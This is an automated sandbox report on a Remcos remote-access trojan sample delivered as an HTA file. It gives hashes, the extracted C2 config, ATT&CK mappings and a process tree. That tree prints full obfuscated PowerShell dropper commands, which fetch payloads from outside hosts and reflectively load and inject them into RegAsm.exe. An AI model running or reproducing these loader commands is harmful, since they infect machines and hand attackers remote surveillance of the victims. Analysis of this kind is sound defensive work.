remcos | e15bf785da97ec4893315687222ab28f491b49de7e95558086cd59d23b85c057

Analysis

max time kernel
147s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
25-09-2024 02:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e15bf785da97ec4893315687222ab28f491b49de7e95558086cd59d23b85c057.hta
Size

115KB
MD5

e22849cf884da37532e50f50a298c344
SHA1

b40e6ca50290ed885ff60c691444b33f3fb0a643
SHA256

e15bf785da97ec4893315687222ab28f491b49de7e95558086cd59d23b85c057
SHA512

7d241fe5b00949a1b3f12f86359f1870a19fbf400b7ebb10ae6936ea44ab6ac01cd838d801a7be502b3e58c97c33db317ef1d0bc12db108f2f766ad6bf03b40e
SSDEEP

96:Ea+M7XN7VQ63VQcuLNdfJ1LV9jzeVQda8AT:Ea+QXgXPnzILT

Score

10^/10

remcos zynova defense_evasion discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

zynova

2024remcmon.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-R2I0JW
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 3 IoCs

flow	pid	Process
15	4112	powershell.exe
22	4864	powershell.exe
44	4864	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3832	powershell.exe
4864	powershell.exe

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
4112	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4864 set thread context of 1708	4864	powershell.exe	104

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4112	powershell.exe
4112	powershell.exe
3832	powershell.exe
3832	powershell.exe
4864	powershell.exe
4864	powershell.exe
4864	powershell.exe
4864	powershell.exe
4864	powershell.exe
4864	powershell.exe
4864	powershell.exe
4864	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4112	powershell.exe
Token: SeDebugPrivilege	3832	powershell.exe
Token: SeDebugPrivilege	4864	powershell.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 3880 wrote to memory of 5072	3880	mshta.exe	83
PID 3880 wrote to memory of 5072	3880	mshta.exe	83
PID 3880 wrote to memory of 5072	3880	mshta.exe	83
PID 5072 wrote to memory of 4112	5072	cmd.exe	85
PID 5072 wrote to memory of 4112	5072	cmd.exe	85
PID 5072 wrote to memory of 4112	5072	cmd.exe	85
PID 4112 wrote to memory of 2944	4112	powershell.exe	86
PID 4112 wrote to memory of 2944	4112	powershell.exe	86
PID 4112 wrote to memory of 2944	4112	powershell.exe	86
PID 2944 wrote to memory of 316	2944	csc.exe	87
PID 2944 wrote to memory of 316	2944	csc.exe	87
PID 2944 wrote to memory of 316	2944	csc.exe	87
PID 4112 wrote to memory of 1788	4112	powershell.exe	88
PID 4112 wrote to memory of 1788	4112	powershell.exe	88
PID 4112 wrote to memory of 1788	4112	powershell.exe	88
PID 1788 wrote to memory of 3832	1788	WScript.exe	89
PID 1788 wrote to memory of 3832	1788	WScript.exe	89
PID 1788 wrote to memory of 3832	1788	WScript.exe	89
PID 3832 wrote to memory of 4864	3832	powershell.exe	91
PID 3832 wrote to memory of 4864	3832	powershell.exe	91
PID 3832 wrote to memory of 4864	3832	powershell.exe	91
PID 4864 wrote to memory of 752	4864	powershell.exe	101
PID 4864 wrote to memory of 752	4864	powershell.exe	101
PID 4864 wrote to memory of 752	4864	powershell.exe	101
PID 4864 wrote to memory of 1240	4864	powershell.exe	102
PID 4864 wrote to memory of 1240	4864	powershell.exe	102
PID 4864 wrote to memory of 1240	4864	powershell.exe	102
PID 4864 wrote to memory of 1540	4864	powershell.exe	103
PID 4864 wrote to memory of 1540	4864	powershell.exe	103
PID 4864 wrote to memory of 1540	4864	powershell.exe	103
PID 4864 wrote to memory of 1708	4864	powershell.exe	104
PID 4864 wrote to memory of 1708	4864	powershell.exe	104
PID 4864 wrote to memory of 1708	4864	powershell.exe	104
PID 4864 wrote to memory of 1708	4864	powershell.exe	104
PID 4864 wrote to memory of 1708	4864	powershell.exe	104
PID 4864 wrote to memory of 1708	4864	powershell.exe	104
PID 4864 wrote to memory of 1708	4864	powershell.exe	104
PID 4864 wrote to memory of 1708	4864	powershell.exe	104
PID 4864 wrote to memory of 1708	4864	powershell.exe	104
PID 4864 wrote to memory of 1708	4864	powershell.exe	104
PID 4864 wrote to memory of 1708	4864	powershell.exe	104
PID 4864 wrote to memory of 1708	4864	powershell.exe	104

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\e15bf785da97ec4893315687222ab28f491b49de7e95558086cd59d23b85c057.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3880
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C pOWersHElL -ex ByPasS -Nop -w 1 -C deVIcECRedeNtiaLDeploYmeNt ; iex($(IeX('[sYStEm.tEXT.ENCoding]'+[ChAr]58+[chAR]0X3A+'utf8.gEtSTrInG([SySTem.COnveRT]'+[Char]0x3a+[cHAR]0X3A+'fROmbasE64STring('+[ChAr]0X22+'JG9QMmVEVUJFZ2ogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtQmVyZGVmaW5JVGlPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZObEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0xYWU9ZZXEsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUpBenZBKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVmsiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUVTUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRtQSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb1AyZURVQkVnajo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEzNC4yNTUuMjI3LjI0OC94YW1wcC9rYi9uaWNlcGljdHVyZXdpdGhoZXJpbWFnZXNnb29kLnRJRiIsIiRlTnY6QVBQREFUQVxuaWNlcGljdHVyZXdpdGhoZXJpbWFnZXNnb29kLnZCUyIsMCwwKTtzdEFSVC1TTGVFUCgzKTtTVGFSdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcbmljZXBpY3R1cmV3aXRoaGVyaW1hZ2VzZ29vZC52QlMi'+[ChAr]34+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5072
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    pOWersHElL -ex ByPasS -Nop -w 1 -C deVIcECRedeNtiaLDeploYmeNt ; iex($(IeX('[sYStEm.tEXT.ENCoding]'+[ChAr]58+[chAR]0X3A+'utf8.gEtSTrInG([SySTem.COnveRT]'+[Char]0x3a+[cHAR]0X3A+'fROmbasE64STring('+[ChAr]0X22+'JG9QMmVEVUJFZ2ogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtQmVyZGVmaW5JVGlPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZObEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0xYWU9ZZXEsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUpBenZBKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVmsiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUVTUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRtQSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb1AyZURVQkVnajo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEzNC4yNTUuMjI3LjI0OC94YW1wcC9rYi9uaWNlcGljdHVyZXdpdGhoZXJpbWFnZXNnb29kLnRJRiIsIiRlTnY6QVBQREFUQVxuaWNlcGljdHVyZXdpdGhoZXJpbWFnZXNnb29kLnZCUyIsMCwwKTtzdEFSVC1TTGVFUCgzKTtTVGFSdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcbmljZXBpY3R1cmV3aXRoaGVyaW1hZ2VzZ29vZC52QlMi'+[ChAr]34+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4112
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\f4j30xja\f4j30xja.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2944
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC8FD.tmp" "c:\Users\Admin\AppData\Local\Temp\f4j30xja\CSC2D2582D256FE4BE0914F66E0BBDEA3DC.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:316
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicepicturewithherimagesgood.vBS"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1788
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3832
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $shEllId[1]+$SHElLiD[13]+'x') ( ('xPiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/De'+'tahNoteV'+'.txtsk'+'r;xPi'+'ba'+'se'+'64Co'+'n'+'te'+'nt = ('+'New-Obje'+'ct S'+'ystem.'+'Net.WebC'+'li'+'ent).'+'Downl'+'oadStrin'+'g(xPiurl);'+'xP'+'i'+'binary'+'Conte'+'nt = [Syst'+'em.Convert]::FromB'+'a'+'se64S'+'trin'+'g(xPi'+'base64Conte'+'n'+'t);xPias'+'sembly ='+' [Reflec'+'t'+'i'+'on.Assembly'+']:'+':L'+'oad('+'xPibin'+'ar'+'yContent);xP'+'ity'+'pe = x'+'Pias'+'sem'+'b'+'ly.Ge'+'tTyp'+'e(skr'+'Ru'+'nP'+'E.Homeskr'+');xPi'+'me'+'thod = xPity'+'pe.GetMet'+'ho'+'d('+'skrVAIskr'+');xP'+'i'+'method'+'.Inv'+'oke(xPinull'+','+' ['+'obje'+'ct[]]@'+'(skrtxt.KKRONK'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrRe'+'gAs'+'msk'+'r,skrskr))').REPlAcE('xPi','$').REPlAcE(([cHAr]115+[cHAr]107+[cHAr]114),[STriNG][cHAr]39))"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4864
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        
        PID:752
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        
        PID:1240
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        
        PID:1540
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9faf6f9cd1992cdebfd8e34b48ea9330

SHA1
ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e

SHA256
0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953

SHA512
05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
3fd4398718e333bc3d2f0705dd58684d

SHA1
d68b172187fcd17fa000d6390f53191b93e8d271

SHA256
9bb94be84d6b3ad0c12319c5cc6b42e4ef4326526bb2a9ad7816e09d3d909082

SHA512
b5800254f483fe8d2503d84dab83b77a4e0dc17b53801896fdbd870647c4bf665efb27069ae62e50ca9d7c2e82a6dd40f9129d9f4eea7f58bd87e66d4a6ff1cd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
3f504a56a1d6e286c6ec15e4d10c6eb1

SHA1
c497a0cdad0047c790acbd004110615becb34be8

SHA256
d41f1b3b33bf886fc628e373c13074f5048acfc25b38b4ac03e4fab365f71eee

SHA512
3784910d4d746a7e0a72099b6280b6b9421f7d2267173b152f777c19a2c83f977eaa0ad2a16584bc2d409c92dcaf7ca7fc024053bf9bca911de6dd1c12f4cdde

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESC8FD.tmp

Filesize
1KB

MD5
b53955149ce16f767dc2e86bae85f79f

SHA1
54e680e519661a30c40826da144a5d5c84a4800f

SHA256
411698929f322acb01a0d080fe4fdc45027b53803d0cd8c226dfe95fd514e1e9

SHA512
709d63c897f9d7a49a88db88e6ad10c473397379bf2b045b7b3ad11d86ff40f55808e49a0d6a99505971f9026d780fdea0859eb2fdc402fc91c8871fa60a43e6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3mwu3fre.k5a.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\f4j30xja\f4j30xja.dll

Filesize
3KB

MD5
ac90e480dcd3c7b7b6a2171b18145f31

SHA1
4d15724597129ae6f1a8a0694f76cf968798b1f1

SHA256
456afe140b1ec33736b51e82c7b0a47323b3552ea2cd596dc4af6a3a7fd5cde8

SHA512
9a6be23bca9a0928a0b850bc46a607b555a9c6421fe30bd1d3f04f4a7ba34d169e92cca29c4ed432dce3899f91e49a873c7ebbe0982aef7cec2177f579723655

Download Submit
C:\Users\Admin\AppData\Roaming\nicepicturewithherimagesgood.vBS

Filesize
257KB

MD5
134f2e8115174dea5246b807fd0c8427

SHA1
c47a738087706c17b345c8b93b8eb71c1518e3a8

SHA256
01b5377b8e2fd5cc88c57a2115fefc853ddecbf4aff300357391dcd803b7d67d

SHA512
efc7386287e271b6d1050f1c585073351b0b9cc9cd551cb759f02fbe4a492bb3ff20b3d498cd608558353b1879a591ae630e5e0e1e0d7286a31fdde7787c0c08

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\f4j30xja\CSC2D2582D256FE4BE0914F66E0BBDEA3DC.TMP

Filesize
652B

MD5
b961373ad69a9c67385af3ec3cc3d59c

SHA1
9ebef4e8f04ca8479458a060a507043f43ce218c

SHA256
cf4bea2b4d17f18cfb6489868a040c75c1aa62860f53486d64aa925bf618c2fe

SHA512
43048aeb933a3ea0ef58f67408467b57b7c6d6bcb144f642a1dff69f5e7a97ad223b43ab76d115611c1ca490a8a0247e6e0a8091f56c3c04da43e834c912748e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\f4j30xja\f4j30xja.0.cs

Filesize
458B

MD5
e07522da7bc6c3ae3fc141d4f7384edf

SHA1
0b2d7ab75bca2211d5aea9a1671929f033bbaf09

SHA256
b0428efd614521c6b91abdad5a9885a2698f8729a6fc77087383a4a07e28da19

SHA512
6d30515cd0dddd23f8d2554d107c5afee82d29aa7c5dc6878546758350c13bd8421b066b39bd1d782381e70e75f9afe1e521d301e9478ecf16f9b075ed34addd

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\f4j30xja\f4j30xja.cmdline

Filesize
369B

MD5
ddadbe2cb50d7a88540b75b601b77739

SHA1
57269240e419e0d632a698285876262afb4feaaa

SHA256
3de14743cf832adbbbcab5bc78383df1a87891de83e3d637cfd4e5d1236b240f

SHA512
1f5e4f9cceb2f103b14fa31f956261bde083e3d5cbe3d6a80befeaf61a719233a7324385cc1299728a5da4b902d2e8767ac2d0d9641268419946e63986280105

Download Submit
memory/1708-108-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1708-102-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1708-103-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1708-99-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1708-97-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1708-104-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1708-105-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1708-107-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1708-109-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1708-110-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1708-111-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1708-112-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4112-21-0x0000000071470000-0x0000000071C20000-memory.dmp

Filesize
7.7MB

Download
memory/4112-34-0x00000000078F0000-0x0000000007993000-memory.dmp

Filesize
652KB

Download
memory/4112-41-0x0000000007B80000-0x0000000007B91000-memory.dmp

Filesize
68KB

Download
memory/4112-42-0x0000000007BB0000-0x0000000007BBE000-memory.dmp

Filesize
56KB

Download
memory/4112-43-0x0000000007BC0000-0x0000000007BD4000-memory.dmp

Filesize
80KB

Download
memory/4112-45-0x0000000007BF0000-0x0000000007BF8000-memory.dmp

Filesize
32KB

Download
memory/4112-44-0x0000000007C00000-0x0000000007C1A000-memory.dmp

Filesize
104KB

Download
memory/4112-39-0x0000000007A00000-0x0000000007A0A000-memory.dmp

Filesize
40KB

Download
memory/4112-38-0x00000000079A0000-0x00000000079BA000-memory.dmp

Filesize
104KB

Download
memory/4112-37-0x0000000008020000-0x000000000869A000-memory.dmp

Filesize
6.5MB

Download
memory/4112-36-0x0000000071470000-0x0000000071C20000-memory.dmp

Filesize
7.7MB

Download
memory/4112-58-0x0000000007BF0000-0x0000000007BF8000-memory.dmp

Filesize
32KB

Download
memory/4112-35-0x0000000071470000-0x0000000071C20000-memory.dmp

Filesize
7.7MB

Download
memory/4112-64-0x000000007147E000-0x000000007147F000-memory.dmp

Filesize
4KB

Download
memory/4112-65-0x0000000071470000-0x0000000071C20000-memory.dmp

Filesize
7.7MB

Download
memory/4112-66-0x0000000007EB0000-0x0000000007ED2000-memory.dmp

Filesize
136KB

Download
memory/4112-67-0x0000000008C50000-0x00000000091F4000-memory.dmp

Filesize
5.6MB

Download
memory/4112-40-0x0000000007C20000-0x0000000007CB6000-memory.dmp

Filesize
600KB

Download
memory/4112-73-0x0000000071470000-0x0000000071C20000-memory.dmp

Filesize
7.7MB

Download
memory/4112-33-0x0000000006C30000-0x0000000006C4E000-memory.dmp

Filesize
120KB

Download
memory/4112-23-0x000000006E0A0000-0x000000006E3F4000-memory.dmp

Filesize
3.3MB

Download
memory/4112-1-0x0000000005060000-0x0000000005096000-memory.dmp

Filesize
216KB

Download
memory/4112-3-0x00000000057E0000-0x0000000005E08000-memory.dmp

Filesize
6.2MB

Download
memory/4112-0-0x000000007147E000-0x000000007147F000-memory.dmp

Filesize
4KB

Download
memory/4112-22-0x000000006DD30000-0x000000006DD7C000-memory.dmp

Filesize
304KB

Download
memory/4112-20-0x0000000007620000-0x0000000007652000-memory.dmp

Filesize
200KB

Download
memory/4112-19-0x0000000006670000-0x00000000066BC000-memory.dmp

Filesize
304KB

Download
memory/4112-18-0x0000000006640000-0x000000000665E000-memory.dmp

Filesize
120KB

Download
memory/4112-17-0x0000000005FE0000-0x0000000006334000-memory.dmp

Filesize
3.3MB

Download
memory/4112-16-0x0000000071470000-0x0000000071C20000-memory.dmp

Filesize
7.7MB

Download
memory/4112-6-0x0000000005E10000-0x0000000005E76000-memory.dmp

Filesize
408KB

Download
memory/4112-5-0x00000000056F0000-0x0000000005756000-memory.dmp

Filesize
408KB

Download
memory/4112-4-0x0000000005550000-0x0000000005572000-memory.dmp

Filesize
136KB

Download
